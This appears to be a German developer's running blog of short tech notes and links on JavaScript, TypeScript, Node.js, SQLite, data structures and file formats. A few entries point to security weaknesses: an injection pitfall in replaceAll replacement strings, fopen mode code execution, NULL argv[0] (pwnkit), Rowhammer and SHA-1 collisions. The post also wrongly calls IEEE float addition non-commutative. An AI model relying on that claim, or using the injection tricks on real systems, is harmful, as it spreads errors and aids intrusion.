Erste Spec für WebAssembly 2.0 (src).
Die Änderungen nach 1.0 sind hier. Neu sind u. a. ein paar Vektor-Instruktionen. Damit können Compiler jetzt schon SIMD-Instruktionen ausgeben und die WASM-Runtime muss das nicht allein von selbst rausfinden.
TypeScript 4.7. Ein paar interessante Sachen sind dabei. Man kann jetzt Co- und Kontravarianz angeben. Dazu gibt’s hier ein Video, das das erklärt.
λ-2D: An Exploration of Drawing as Programming Language, Featuring Ideas from Lambda Calculus.
Ich habe letztes Jahr mal darüber geschrieben, wie heute hoffnungslos überskaliert wird.
Heute flog mir ein Artikel von 2017 zu, den man ggf. auch gut verlinken kann: You are not Google
TIL es gibt ein standardisiertes Format für Test-Output: Test Anything Protocol (TAP).
Node.js bekommt built-in Test-Runner. Aus dem Post:
const test = require('node:test');
const assert = require('assert');
test('synchronous passing test', (t) => {
// This test passes because it does not throw an exception.
assert.strictEqual(1, 1);
});
Wann kommt es?
Colin, the architect behind this initiative, has indicated that it will be available behind an experimental flag when Node 18 is pushed out, which is currently scheduled for April 19th.
It’s also available in nightly builds released after the 24th of March, 2022.
Wo wir gerade bei Node.js waren. Wir hatten schon ein paar mal den AbortController
hier. Da gibt es jetzt eine Convenience-Method: AbortSignal.timeout(delay)
.
Function.prototype.once wrappt eine Funktion so, dass sie nur ein Mal aufgerufen wird. Beim wiederholtem Aufruf wird das Ergebnis vom ersten zurückgegeben.
Node.js kann jetzt Deep-Copys machen. Funktioniert mit structuredClone
, was auch die Browser schon können.
Nie wieder JSON.parse(JSON.stringify(a))
und sich über kaputte Date
s ärgern.
Das Change Array by Copy-Proposal ist nun in Stage 3 und wird damit umgesetzt.
Damit kommen jetzt folgende Funktionen:
const array = [1, 2, 3, 4];
const array0 = array.toReversed();
const array1 = array.toSorted(compareFn);
const array2 = array.toSpliced(start, deleteCount, ...items);
const array3 = array.with(index, value);
Früher musste man häufig auf doesitmutate.xyz nachschauen. Jetzt ist es etwas expliziter. TypedArrays (Uint8Array etc.) bekommen die Funktionen auch.
What Every Computer Scientist Should Know About Floating-Point Arithmetic
Unter anderem wird erklärt, warum die Summe eines IEEE-Float-Arrays abhängig von der Reihenfolge der Elemente sind (Spoiler: Rechnen mit IEEE ist nicht kommutativ).
Das Proposal mit den Type-Annotations für JavaScript von neulich ist nun ein offizielles TC39-Proposal.
Plain Text - Dylan Beattie - NDC Oslo 2021.
Ein richtig guter Talk mit vielen Anekdoten über Text, Text-Encodings, deren Geschichte, Ligaturen, Rendering, Emoji, etc. Ich verlinke Artikel zu diesem Thema wirklich oft, aber dieser Talk fasst sehr viel sehr gut zusammen.
Die Kommentare sind auch interessant. Unter anderem:
There’s a text encoding “joke” here in China. The MSVC debugger will initialize any unallocated stack memory to
0xcccccccc
, which will translate into GBK codec as “烫烫烫烫” (the GBK codec is a 2-byte encoding system). “烫” means hot. So when the program is hot, it means you’re encountering a wildcard pointer.
Eine Anekdote kann ich auch liefern:
In Japan is das Standardzeichen für Directory-Separator unter Windows das Zeichen ¥
. Das liegt daran, dass das Symbol früher auf deren Code-Page da war, wo eigentlich \\
im Rest der Welt (bzw. da, bei dem, was die Amis verwendet haben) war.
Das hat sich so durchgesetzt, dass das in Japan heute noch der “normale” Directory-Separator ist. Und sie verwenden ihn auch, wenn sie E-Mails schicken, in denen sie Geldbeträge nennen. Es kann deshalb auch heute noch vorkommen, dass man dann einen Text wie 1000 \\
zugeschickt bekommt. Oder auch die Windows-CMD zeigt den falschen Directory-Separator an: Why is Windows 10 displaying \ as ¥ on the command line?.
Zig kann Hot-Code-Reloading. Bei VS kam das für C++ erst in VS 2022. .NET kann es auch seit Version 6.
Neuerungen: Generics und ein any
-Keyword für interface{}
. Damit sollte quasi jedes Go-Projekt ungefähr um die Hälfte schrumpfen.
Achja, und sie haben jetzt einen Fuzzer, den man für Tests verwenden kann. Hier ein kleines Tutorial.
MeiliSearch 0.26 ist da.
Ich schreibe das eigentlich nur, weil ich das ein cooles Projekt finde. Die neue Version hat tenant tokens.
Ich sammle gern interessante Poster. Manche sind echt schön für einen Hackerspace oder vergleichbarem. Bin gerade wieder auf dieses gestoßen:
- Electronics Everything Reference Poster.
- Meine Lieblingssammlung: corkami/pics
Der Ersteller der Postersammlung spricht auch gern mal beim CCC. Er hat auch einen Vortrag über das PDF gemacht (empfehlenswert).
How to design better APIs. Geht um HTTP-basierte-APIs.
Bald könnte eine native Barcode-API für den Browser kommen. Dazu kommt vielleicht auch noch Face-Detection und Text-Detection, läuft alles unter dem Namen ShapeDetection
.
Gerade ist dieses Peoposal in meiner Timeline aufgetaucht. Ein Author ist Daniel Rosenwasser, bekannt aus dem TypeScript-Projekt.
Idee: einen Großteil der TS-Syntax in JS aufnehmen, allerdings ohne Typüberprüfung. Die Type-Annotations sollen von der Engine komplett ignoriert werden, ist also an der Stelle ähnlich zu dem Type-Hints aus Python. Nur kann man bei Python noch zur Laufzeit auf die Typen zurückgreifen. Das würde hier auch entfallen.
Als MS mit TypeScript angefangen hat, hätte Anders geäußert, dass statische Typen in der JS-Welt nicht gern gesehen sind - zumindest nicht in der Kernsprache. In dem Proposal ist ein Screenshot aus The-State-Of-JavaScript. Dort wünschten sich die Teilnehmer der Umfrage - mit Abstand - statische Typisierung am meisten.
Das sieht für mich aus, als hätte MS da eine ziemliche Erfolgsstory mit TypeScript hingelegt.
Das Proposal wurde nichtmal dem TC39 vorgelegt - es wird also noch sehr lange dauern, sollte etwas in dieser Richtung kommen. Falls es kommt, wäre das ein ziemlicher Game-Changer. Man erspart sich damit, .d.ts
-Dateien mit auszuliefern. Da JS dann größtenteils quasi das ist, was TS heute ist, wird TS dadurch deutlich zurück gehen und vorrangig nur noch als Type-Checker für JS dienen. Es würde tatsächlich vieles vereinfachen.
Spannend!
Intl.NumberFormat .formatRange kann Zahlen- (und auch Währungs-) Ranges formatieren. Auszug aus MDN:
const nf = new Intl.NumberFormat("es-ES", {
style: "currency",
currency: "EUR",
maximumFractionDigits: 0,
});
console.log(nf.formatRange(3, 5); // → "3-5 €"
console.log(nf.formatRange(2.9, 3.1); // → "~3 €"
Wird aber noch von keinem Browser unterstützt (caniuse).
Ich hatte schon im Blog: SQLite im Browser mit HTTP-Range-Requests, sodass man in einigen Use-Cases ein Backend wegrationalisieren und durch eine statisch gehostete SQLite-Datei ersetzen kann.
Später kam dann darauf basierend ein statisch gehostetes Wikipedia mit Suchfunktion.
Das nächste Level ist jetzt die oben verlinkte Seite: Die SQLite-Datei nicht per HTTP servieren, sondern mit BitTorrent. Was viele nicht wissen: Torrents gehen mittlerweile auch im Browser, über WebRTC. libtorrent
unterstützt das auch, damit auch die bekannten Clients wie Deluge.
Was macht man mit so einer dezentralen SQLite-DB? Die Demo ist jedenfalls eine Torrent-Suchmaschine, die Magnet-Links zurückgibt.
Ich bin von dieser Kreativität beeindruckt. Eingedampft hat man hier eine HTML-Seite mit ein bisschen JavaScript, die man statisch hosten kann. Bekommen tut man eine Torrent-Suchmaschine.
Ein Tool für Timestamps. Zeigt einen QR-Code der aktuellen Uhrzeit an.
The Hardest Program I’ve Ever Written.
Geht um einen Formatter für Source Code.
Neue Context2D-Canvas-Features. Darunter: Rounded Rectangles und Filter.
Ist alles eine sinnvolle Erweiterung, gibt aber (wie bei Google öfter üblich) nicht mal einen verabschiedeten Standard dafür. Oder einen, der irgendwo offiziell gelistet ist. Die Features sind aber noch hinter dem new-canvas-2d-api
-Flag. Ein Google-Mitarbeiter hat Specs/MDN-Drafts bei sich in einem Repo.
SQLite 3.38.0 ist da. Neu ist u. a. der JSON-Support, der jetzt per Default eingeschaltet ist. Dazu kamen auch noch JSON-Operatoren, die mit Postgres kompatibel sind.
So you want to design a programming language?
Der verlinkte BNF-Editor ist auch schön anzusehen.
24 Lesser-Known HTML Attributes You May Want to Use.
Die meisten waren schon hier im Blog, aber es ist ‘ne schöne Liste.
Zu dem Artikel über Server-Sent-Events neulich gibts es noch eine Ergänzung, die ein paar Implikationen darstellt. Der Autor ist bei der HTTP working group bei der IETF.
Auch interessant ist der Verweis auf WebTransport. Das ist ein kommender Standard, der Streams und Datagramme über HTTP/3 laufen lässt. Da HTTP/3 unten drunter das verschlüsselte, UDP-basierte QUIC verwendet, hat man ziemliche Narrenfreiheit, was neue Features verwendet. Vielleicht hätte man technisch gesehen TCP noch anpassen können. Es hat ja reservierte Felder und Verhalten, das man noch spezifizieren könnte. In der Praxis fällt das jedoch weg, da es ganz viele Geräte gibt, die dann den Traffic einfach droppen würden. Das nennt man “Ossification of Protocols”. Einer der Kerngründe, warum bei QUIC so viel wie möglich verschlüsselt (und damit nicht für die middle-boxes sichtbar) ist.
Server-Sent Events: the alternative to WebSockets you should be using.
SSEs sind quasi Ajax-Long-Polling, nur in JS integriert. Lohnt sich also für unidirektionalen Datenfluss.
Bei GitHub kann man jetzt Mermaid-Charts in Markdown verwenden.
Heute kam eine Folge von DotNetRocks zu 20 Jahren C# mit Anders Hejlsberg.
On finding the average of two unsigned integers without overflow.
Enthält auch eine (ehemalig) patentierte Variante.
Gut gefällt mir auch der untere Part:
Bonus chatter: C++20 adds a std::midpoint function that calculates the average of two values (rounding toward a).
Bonus viewing: std::midpoint? How hard could it be? (Vortrag geht eine Stunde)
Was mir bei einer CTF-Challenge gerade aufgefallen ist und wahrscheinlich dort für die Exploitation wichtig ist, ich aber bisher nicht auf dem Schirm hatte:
Bei JavaScripts str.replaceAll(a, b)
werden in b
Steuerzeichen wie $
interpretiert, auch, wenn a
keine RegExp ist:
console.log("a_b_c_d_e".replaceAll("_", "$`"))
// 'aaba_bca_b_cda_b_c_de'
Kommt b
also vom User, können damit Werte injiziert werden.
Für mich ist das unerwartetes Verhalten, da für mich nicht offensichtlich ist, dass der replacement-String in jedem Fall interpretiert wird. Gibt es für sowas Linter-Regeln?
Facebook hat zum ersten Mal Nutzer verloren. Natürlich nicht in ihrer Datenbank, sondern nur in der Anzahl der täglich aktiven Nutzer.
Die Kommentare auf HN sind auch spannend.
Das OS vom Raspberry Pi gibt es jetzt in 64 Bit. Für den 3er und 4er.
Vielleicht habt ihr ja gehört, dass GET
-Requests schon irgendwie Bodys haben können. Das Verhalten ist jedenfalls irgendwie unspezifiziert.
Aktuell gibt es einen Draft zu einer neuen HTTP-Methode: QUERY
. Ziel: Ein GET
-Äquivalent mit Body.
Was ist so toll an GET
? Semantisch sagt es, dass es keine Veränderung an Daten auslöst bzw. man einen Request mehrfach absetzen kann, und er nichts doppelt macht. Auch toll: Man kann ihn deshalb in Reverse-Proxys cachen.
Das geht mit den anderen Methoden, die einen Body haben (z. B. POST
) nicht. Dafür gibt jetzt bald die neue Methode.
The baseline for web development in 2022.
TL;DR: The baseline for web development in 2022 is: low-spec Android devices in terms of performance, Safari from two years before in terms of Web Standards, and 4G in terms of networks. The web in general is not answering those needs properly, especially in terms of performance where factors such as an over-dependence on JavaScript are hindering our sites’ performance.
Habt Ihr UB in einem C++-Programm? Oder Implementation-Defined Behaviour (IB)? Vielleicht kennt Ihr den Spruch, dass der Compiler absolut alles machen kann, wenn er UB oder IB findet. GCC startet ggf. ein Spiel.
Bei Node.js-Imports kann man jetzt node:
als Protokoll vor ein Paketnamen schreiben, um zu verdeutlichen, dass es ein Node-Builtin-Modul ist.
Comparison of C/POSIX standard library implementations for Linux.
Man kann über den 2. Parameter bei fopen
code execution machen.
HLI, dass argv[0]
NULL
sein kann. Hintergrund: Man kann beim Syscall execve
einfach {NULL}
übergeben. Das wurde jetzt für PolicyKit relevant und endete in “pwnkit”.
Dass argv[0]
NULL
sein kann, haben viele Programme sicherlich nicht auf dem Schirm. Gibt bestimmt auch viele andere betroffene Software.
Google hat das unbeliebte Projekt FLoC in “Topics” umbenannt.
HTMHell: A collection of bad practices in HTML, copied from real websites.
A Language Design Analysis of HolyC (das ist die Sprache von TempleOS)
Floyds Algorithmus ist auch mehr Algorithmus als Datenstruktur. Er dient dazu, den Anfang eines Zykels in einer verketteten Liste zu finden. Der Zykel kann dabei an einem beliebigen Punkt starten.
Kennengelernt habe ich ihn über diesen Sketch. Dort wird der algorithmus etwas anders vorgestellt: Zum Finden eines doppelten Eintrags in einem Array. Im Vergleich zu einem Hash-Set bzw. ähnlichen Varianten hat Floyds algorithmus lineare Zeit und konstanten Speicher, also schon echt gut.
In diesem Video wird der Algorithmus noch mal genauer erklärt. Um zu verstehen, was das macht, hab ich das auch mal in Python implementiert und gegen zwei naive Implementierungenm getestet.
Ergebnis: Das mit dem Speicherverbrauch merkt man sofort – die lineare Laufzeit kickt nicht so. Vielleicht waren die Daten zu wenig oder ich habe falsch gemessen.
Laptopsticker-Tipp: The world’s most hated IT stickers
Datenstrukturdienstag:
In Anlehnung an letzte Woche: Die Levensthein-Distanz.
Ein Maß für die Ähnlichkeit zweiter Strings. Grob gesagt gibt es an, wie viele Tasten man auf der Tastatur drücken muss, um von einem String auf den anderen zu kommen (mit Backspace etc).
Es gibt verschiedene Algorithmen, um dieses Maß zu berechnen. Auf Wikipedia ist eine rekursive und eine Matrix-Variante. Sie unterscheiden sich deutlich in der Platzkomplexität.
Verwenden kann man das z. B: für eine Rechtschreibkorrektur. Oder generell, wenn man Nutzereingaben hat und man weiß, dass Nutzer sich genre vertippen.
Datenstrukturdienstag:
Eher ein Algorithmus: MinHash.
Damit lassen sich zwei Mengen auf Ähnlichkeit prüfen. Das kann man z. B. verwenden, wenn man zwei Wortmengen hat und rausfinden möchte, ob es ungefähr das gleiche ist. Laut Wikipedia wurde das bei AltaVista verwendet, um Duplikate bei den indizierten Webseiten zu vermeiden.
Datenstrukturdienstag:
Die Circular-Linked-List mit Tail-Verweis (statt Head-Referenz). Ist auch die lieblings-Datenstruktur von Anders Hejlsberg, dem C#-Erfinder, die er hier genauer erläutert. Das ganze Interview ist auch ganz interessant.
Illustrated TLS Connection; Every byte explained and reproduced.
Empfehlung für einen Webcomic: webcomicname.
Datenstrukturdienstag:
Heute wieder keine Datenstruktur, sondern dieses Mal wirklich nur ein Algorithmus bzw. ein Konzept: Die Hilbert-Curve.
Anwendungsfall: Man ordnet einem Punkt (belibige Dimension, z. B. einem Punkt in einem Bild) einen Punkt auf einer Kurve zu. Man denkt sich jetzt vielleicht “Toll, das kann ich auch. Einfach die einzelnen Zeilen hintereinander legen”. Die Hilbert-Kurve hat aber eine besondere Eigenschaft: Punkte, die nah beieinander auf der Kurve waren, sind es auch im Ursprungssystem. Man kann deshalb die Länge (und somit die “Auflösung) erhöhen und die Punkte auf der Hilbert-Kurve verlieren nicht ihren räumlichen Bezug.
Damit kann man z. B. den IPv4-Adressraum schön plotten.
Da gibt es ein sehr gutes Video von einem meiner lieblings-Youtuber zu, 3blue1brown.
Update:
Korrektur der Punkposition, nach Hinweis eines Lesers.
TIL es gibt ein IAsyncDisposable
, das einfach ein IDisposable
ist, dessen Dispose-Methode asynchron ist.
Es gibt manchmal so Sachen, die findet man und denkt sich “wow, das ist wahrscheinlich so ein Basic-Wissen und ich lerne das erst jetzt kennen”. Es ist natürlich normal, dass man Lücken hat.
Heute wollte ich ein einfaches Problem lösen: Ich habe ein paar Dateien archiviert, die ich nicht veränderbar haben will. Da denkt man sich vielleicht: “Gut, einfach chmod -w <datei>
und da hat sich das”.
Leider ist dem nicht so. Die Datei kann dann zwar nicht mehr geöffnet und verändert werden, aber sie kann weiterhin überschrieben und verschoben werden. Vorher habe ich mir ehrlich gesagt noch nie darüber gedanken gemacht.
Dieses Problem kann man mit den Unix-Rechten offenbar nicht lösen (wenn doch, scchickt mir eine Mail). Stattdessen bin ich relativ schnell auf chattr
(Man-Page) gestoßen. Damit kann man, wie der Name auch vermuten lässt, Attribute von Dateien und Ordnern ändern. Der Unterschied ist, dass das ein Feature von Dateisystem ist, das das Dateisystem auch implementieren muss. Außerdem muss es als Root ausgeführt werden, unabhängig vom Besitzer der Datei.
Mein Problem konnte ich letztendlich damit lösen:
sudo chattr -R -V +i <file>
Datenstrukturdienstag:
Rot-Schwarz-Baum (oder RB-Tree).
Ist ein selbst-balancierender Suchbaum, der in den meisten Implementierungen einer Map bzw. eines Dictionaries verwendet wird.
Beispielsweise ist std::map
in den meisten Implementierungen intern ein RB-Tree. Aber auch B-Bäume und AVL-Bäume werden gern verwendet.
We demonstrate that it is possible to trigger Rowhammer bit flips on all DRAM devices today despite deployed mitigations on commodity off-the-shelf systems with little effort.
Bei Git kann man demnächst auch mit dem SSH-Schlüssel signieren.
Interessanter Post: Why asynchronous Rust doesn’t work
TIL ¥ ist in Japan der de-facto-Directory-Separator, hauptsächlich aus historischen Inkompatibilitäten zwischen ASCII und dem damals verwendeten Encoding in Japan, SHIFT_JIS. Obwohl sie heute UTF-8 nutzen, verwenden sie es weiterhin. Die Geschichten in den Kommentaren sind sehr interessant!
Ich habe heute gelernt, dass man bei npm init
einen weiteren Paramter übergeben kann, einen Initializer. Das ist ein Wrapper, der solche Dinge wie create-react-app
automatisch ausführt. Ohne den Parameter nennt man das anscheinend “legacy init”.
Beispiel: Für ein ESM-kompatibles npm-Projekt macht man dann npm init esm
(es wird create-esm ausgeführt).
Datenstrukturdienstag:
Heute keine “Datenstruktur”, eher ein Algorithmus. Aber das ist ja quasi beides das gleiche bzw nicht voneinander zu trennen.
FP-Growth (Frequent-Pattern) kommt zusammen mit dem FP-Tree. Der Algorithmus ist etwas komplizierter. Hier ist noch ein Artikel und ein Video dazu.
Was macht der? Das ist der Algorithmus hinter “Kunden, die X und Y kauften, kauften auch…”, also er findet oft zusammen auftretende Einträge. Das macht er sehr effizient, sodass man das auch auf großen Datenmengen (TM) laufen lassen kann.
Go 1.18 kommt mit Generics. Interessant ist auch der built-in Fuzzing-Support.
Wir haben alle in der Schule gelernt, dass wenn ein Aufruf von malloc
einen Null-Pointer zurückgibt, die Allocation nicht funktioniert hat, z. B. weil kein Speicher mehr vorhanden war.
Das stimmt auch, aber das tritt heutzutage gar nicht mehr auf. Nicht, weil wir so viel Speicher haben. Sondern, weil das Betriebssystem stets sagt “ja, kannst du haben” und erst beim Schreiben auf den Speicher schaut, ob das überhaupt funktioniert. Dieses Prinzip nennt sich “Overcommitment” und ist meist bei unixoiden Systemen anzutreffen. Laut den interessanten Kommentaren auf HN macht NT das nicht.
Bei TypeScript wurde neulich der Pull-Request Control Flow Analysis for Destructured Discriminated Unions gemergt. Das hört sich erstmal kompliziert an, das Prinzip ist aber ganz simpel: Wenn eine Variable aus einem Objekt kommt, und mit der Variable irgendwelche Überprüfungen stattfinden, hat das auch Auswirkungen auf den Typen des Objekts, aus dem die Variable ursprünglich mal kam.
Bisher konnte man den Kontrollfluss auch schon verwenden, um den Typen des Objekts genauer zu spezifizieren. Allerdings musste man dann immer direkt auf das Objekt referenzieren:
type Action =
| { kind: 'A', payload: number }
| { kind: 'B', payload: string };
function f11(action: Action) {
if (action.kind === 'A') {
// `action.kind` ist 'A', daher ist `action.payload` an dieser Stelle eine number
action.payload.toFixed();
}
if (action.kind === 'B') {
// `action.kind` ist 'B', daher ist `action.payload` an dieser Stelle ein string
action.payload.toUpperCase();
}
}
Das neue aus dem PR ist, dass das Destructuring die Verbindung zur Herkunft nicht verliert. Und das funktioniert jetzt sogar bi-direktional. Also funktioniert jetzt auch das:
type Action =
| { kind: 'A', payload: number }
| { kind: 'B', payload: string };
function f11(action: Action) {
const { kind, payload } = action;
if (kind === 'A') {
// `kind` kam aus `action`, daher ist `payload` an dieser Stelle eine number
payload.toFixed();
}
if (kind === 'B') {
// `kind` kam aus `action`, daher ist `payload` an dieser Stelle ein string
payload.toUpperCase();
}
}
Ich will mir garnicht ausmalen, wie komplex die Umsetzung dafür gewesen sein muss.
Ein Stylesheet, mit dem man debuggen kann, was im head
-Element möglicherweise für Probleme sorgen kann: ct.css.
Datenstrukturdienstag:
Der Splay-Tree. Ist von den Zugriffszeiten im Prinzip wie viele andere selbst-balancierte Bäume, aber mit einem Unterschied:
Er schreibt auch bei Lesezugriff. So sortiert er häufig zugegriffene Nodes so um, dass sie schneller gefunden werden.
Bei zufälligem Zugriff performt er wie andere Bäume. Aber wenn im Zugriff ein Muster ist, kann seine Optimierung richtig zutrage kommen und wird ggf. schneller als O(log(n))
.
Ich wollte diesen Baum mal in Rust implementieren, als Übungsaufgabe. Dann ist mir aufgefallen, dass der echt nicht so geil für alles ist, was mehr als einen Thread hat, da auch Leseoperationen schreibend zugreifen (naja, das war ja auch sein Vorteil). Vielleicht gibt’s da eine bessere Variante von, die dieses Problem nicht hat? Vielleicht eine, bei der jeder Thread seine Thread-Local-Kopie hat und nur die “richtigen” schreibenden Operationen synchronisert werden? Wenn jemand eine Idee hat, her damit!
Wie viele Datenstrukturen ist er schon etwas älter und kommt aus 1985.
Ein kleines 2x10-Zellen-Excel. Ist vielleicht ganz praktisch, wenn man etwas schnell ausrechnen muss, man ber kein Excel/Calc zur Hand hat. Ich persönlich nehme dann meistens ein Python- oder Node.js-REPL. Aber manchmal will man ja eher sowas.
Ein ls-Ersatz, geschrieben in Rust: exa
Verwende ich schon etwas länger und hab mich mittlerweile an den bunten Output gewöhnt. Ist leider kein Drop-In-Replacement, da die CLI-Params nicht gleich sind.
Datenstrukturdienstag:
Mir ist aufgefallen, das ich sehr viele Bäume poste. Heute mal kein Baum, sondern eine verkettete Liste mit einem Trick: Die XOR-Linked-List.
Das ist eine Doppelt-Verkettete-Linked-List. Bei dieser Varainte wird an jedem Knoten aber nur ein Pointer für die Prev- bzw. Next-Nodes benötigt. Dieser Pointer ist kein Pointer in dem Sinne, sondern das XOR des Prev- und Next-Pointers.
Das geht, weil man beim Traversieren der Liste ja weiß, von welchem Element man kommt. Man kann deshalb immer die Adresse des nächsten (bzw vorherigen) kNotens ausrechnen, indem man den Pointer, von dem man kommt, mit XOR drauf rechnet.
Warum man diese Struktur in der Praxis nicht wirklich sieht? Das kann man gut an der Sektion “Drawbacks” auf Wikipedia lesen. Naja, und eigentlich ists jetzt nicht so krass, einen Pointer pro Node einzusparen.
Neu:
- Support für
Intl.DisplayNames
- Eine Promise-basierte
readline
-API:
import * as readline from 'node:readline/promises';
import { stdin as input, stdout as output } from 'process';
const rl = readline.createInterface({ input, output });
const answer = await rl.question('What do you think of Node.js? ');
console.log(`Thank you for your valuable feedback: ${answer}`);
rl.close();
Datenstrukturdienstag:
B-Bäume und B+-Bäume (nein, das B
steht nicht für “Binary”). Beides selbst-balancierende Suchbäume.
Was ist “Balancierend”?
Wenn man einen Baum hat, in dem man Daten sucht, ist die Zeit, die man braucht, um ein Element zu finden, häufig an die Höhe des Baums gebunden. Es ist also von Vorteil, wenn der Baum möglichst niedrig ist.
Je nach Baum kann es aber vorkommen, dass es einen langen Pfad gibt, der deutlich länger als die anderen im Baum ist. Sowas ist immer ungünstig, wenn man dann genau eines der Elemente sucht, das sich in diesem langen Pfad befindet.
Hierfür hat balanciert man Bäume - d.h. man ordnet die Knoten so um, dass die Blätter des Baums immer in etwa auf der gleichen Höhe hängen.
“Selbst-balancierend” heißt hier, dass das nicht ein Prozess ist, der abundzu mal angestoßen wird, sondern dass die Operationen auf dem Baum (einfügen, Löschen etc.) so definiert sind, dass er sich beim Verändern entsprechend balanciert.
Beide Strukturen werden häufig in Datenbanken und vorallem in Dateisystemen verwendet, z. B. bei NTFS und ext4.
Ein Command-Explorer für Git, der ein tl;dr zu allen Commands gibt.
Python könnte den GIL verlieren. Der GIL steht Python seit langer Zeit im Weg, sinnvoll nutzbares Multithreading zu machen. Deshalb macht man in Python aktuell meist Multi-Processing (oder man paralleisiert innerhalb von C-Extensions, z. B. direkt in numpy).
Ein cooles SQLite fiddle. Läuft komplett im Browser. Kann auch statisch gehostete SQLite-DBs als Quelle nehmen.
Datenstrukturdienstag:
Log-Structured-Merge-Tree (LSM-Tree).
Das ist ein Suchbaum. Die Idee: Man hat mehrere Bäume (Bei Wikipedia C_0 und C_1). Der erste Baum liegt im RAM, der zweite auf der Festplatte. Neue Einträge kommen in den RAM. Wenn C_0 einen Threshold übersteigt, werden Daten von C_0 nach C_1 migriert, also auf die Festplatte.
Der Vorteil: Neu eingesetzte Daten liegen direkt im RAM und können schnell abgerufen werden. Aus diesem Grund wird diese Struktur auch gern bei In-Memory-Datenbanken verwendet.
Es kommt auch vor, dass man mehrere Level an Bäumen hat, z. B. ein C_2, das irgendwo auf einem anderen Server im Cluster liegt.
SHA-1 ist jetzt noch kaputter, als es schon war.
Wie kaputt?
Es ist eine Chosen-Prefix-Kollision:
Using our SHA-1 chosen-prefix collision, we have created two PGP keys with different UserIDs and colliding certificates: key B is a legitimate key for Bob (to be signed by the Web of Trust), but the signature can be transferred to key A which is a forged key with Alice’s ID. The signature will still be valid because of the collision, but Bob controls key A with the name of Alice, and signed by a third party. Therefore, he can impersonate Alice and sign any document in her name,”
Edit: Oh, das ist ja aus 2020. Hab ich nicht mitbekommen.
Wo wir gerade bei JSON waren und jetzt kommt “dann nehm ich einfach YAML, das ist ganz einfach und man kann es auch einfach parsen”. YAML ist ein Superset von JSON. Das heißt, dass wir alle JSON-Probleme weiterhin haben.
Dazu kommt, dass das restliche Format auch nicht so gut ist. Hier wieder ein bekannter Blogpost: YAML: probably not so great after all.
Ein Zitat aus dem Post:
YAML may seem ‘simple’ and ‘obvious’ when glancing at a basic example, but turns out it’s not. The YAML spec is 23,449 words; for comparison, TOML is 3,339 words, JSON is 1,969 words, and XML is 20,603 words.
[…]
For example did you know there are nine ways to write a multi-line string in YAML with subtly different behaviour?
YAML hat auch ein berühmtes Problem. Ihr könnt ja mal überlegen, was man hier nach dem Parsen erhält:
countries:
- GB
- IE
- FR
- DE
- NO
- US
Dann probiert es jetzt aus, oder schaut in den verlinkten Artikel.
Sowas ähnliches ist auch der Grund, warum man bei docker-compose-Files die Port-Mappings immer in Anführungsstriche schreiben sollte.
Aus der Reihe bekannterer Blogposts: Parsing JSON is a Minefield.
Falls Euch wieder jemand sagt, dass man ja JSON ganz einfach parsen kann und man einen Parser auch mal schnell selbst schreiben kann. Nein, kannst du nicht. Jedenfalls keinen, der in der wealen Welt Daten von anderen Stellen entgegen nehmen wird. Kleiner Auszug aus dem Post:
Yet JSON is defined in at least seven different documents:
Bei mit sterben immer meine Kräuterpflanzen in der Küche. Vielleicht gieße ich sie zu wenig, vielleicht zu viel. Ich weiß es nicht.
Diesen selbstbewässernden Blumentopf werde ich mal ausprobieren. Was ich besonders gut finde: Das ist keine sinnlose Technik-Bastellei mit ESPs oder Feuchtigkeitssensoren. Das ist ein rein mechanischer Mechanismus.
Aus meiner HTML-/JS-Quicktips-Reihe: Es gibt eine coole, neue URL-API.
Ein interessanter Artikel über Web Streams: Web Streams Everywhere
Vor ein paar Jahren (2014) hat man Web Streams standardisiert. Das ist sowas wie die Streams aus Node.js, aber als Standard für den Browser. Stellt sich heraus: Bei einem fetch
-Request muss man nicht zwingend await
(oder .then()
) nutzen, um die Antwort zu verarbeiten. Die Property response.body
ist ein Stream, den man durch andere Dinge pipen kann.
Auch andere Klassen, wie z. B. Blob
, haben eher weniger bekannte Stream-Schnittstellen. So kann man auch WebSockets als ReadableStream wrappen, um mit den Nachrichten einfacher umgehen zu können.
Ein sehr lohnender Artikel!
git-trim
automatically trims your tracking branches whose upstream branches are merged or stray.
Vielleicht praktisch für das nächste CTF: Quickemu, Quickly create and run optimised Windows, macOS and Linux desktop virtual machines.
Android 12 kommt ja gerade um die Ecke. Coole neue Features, besonders das neue Wallpaper, aus dem Android ein paar Systemfarben ableitet: How Android Wallpaper Images Can Threaten Your Privacy
Vor ein paar Tagen habe ich Hurl kennengelernt. Das ist ein CLI-HTTP-Client, wie cURL. Der Unterschied ist: Hurl holt sich die Request-Parameter aus einer Datei.
Warum ist das so viel anders als cURL? Man kann mehrere HTTP-Anfragen in einer Datei abbilden. Diese Anfragen können Daten aus den Ergebnissen der vorherigen Anfrage verwenden. Aus dem REAMDE:
# Get home:
GET https://example.net
HTTP/1.1 200
[Captures]
csrf_token: xpath "string(//meta[@name='_csrf_token']/@content)"
# Do login!
POST https://example.net/login?user=toto&password=1234
X-CSRF-TOKEN: {{csrf_token}}
HTTP/1.1 302
Wie Ihr seht, kann man damit auch XPath-Querys auf die Antworten absetzen. Natürlich geht auch JSONPath. Das kann man mit einem [Asserts]
kombinieren und sich somit HTTP-Tests bauen:
POST https://api.example.net/tests
{
"id": "456",
"evaluate": true
}
HTTP/1.1 200
[Asserts]
jsonpath "$.status" == "RUNNING" # Check the status code
jsonpath "$.tests" count == 25 # Check the number of items
Intern verwendet das Tool natürlich cURL; man muss das Rad ja auch nicht neu erfinden.
Datenstrukturdienstag:
Letzte Woche: Zählen, wie oft bestimmte Elemente vorkamen.
Diese Woche: Zählen, wie viele Elemente in einer Menge enthalten sind.
Verwenden kann man dafür HyperLogLog (ja, wieder probabilistisch).
Anweendungsfall: Ihr habt eine Menge, zu der ständig neue Elemente hinzukommen. Ihr braucht euch nicht jedes Element merken. Aber es kann sein, dass ein Element, das eigentlich schon drin ist, noch mal hinzugefügt werden soll. Ihr wollt dieses Element nicht doppelt zählen (Fachbegriff Count-Distinct-Problem).
Konkret wollt ihr vielleicht die Anzahl der Aufrufe eines Videos zählen und nimmt dabei die ID des Users, der es angesehen hat, als Kriterium. Schaut sich die Person es noch mal an, wollt ihr sie nicht noch mal zählen. HLL hat dabei einen sehr langsam wachsenden Speicherbedarf (ursprünglich log(log(n))
, daher der Name) und kann in O(1) Elemente hinzufügen.
In der Praxis muss man das natürlich nicht selber bauen. Redis hat das built-in. Und für jede Sprache gibt’s das sicherlich auch als Library.
